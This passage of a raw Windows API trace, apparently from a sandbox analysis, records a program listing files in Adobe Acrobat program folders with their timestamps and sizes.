ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.DEU", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f598, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdfshell.dll", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.ESP", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.EUQ", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.FRA", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.HRV", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.HUN", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.ITA", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.JPN", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.KOR", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.NLD", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.NOR", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.POL", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.PTB", cAlternateFileName="")) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.RUM", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.RUS", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SKY", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SLV", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SUO", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SVE", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.TUR", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.UKR", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.UKR", cAlternateFileName="")) returned 0 [0085.822] GetLastError () returned 0x12 [0085.822] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0085.822] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroIEHelper.dll", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroIEHelperShim.dll", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CAT", cAlternateFileName="")) returned 1 [0085.822] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CHS", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CHT", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CZE", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.DAN", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.DEU", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xab790, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.dll", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.ESP", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.EUQ", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.FRA", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.HRV", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.HUN", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.ITA", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.JPN", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.KOR", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.NLD", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.NOR", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.POL", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.PTB", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.RUM", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, 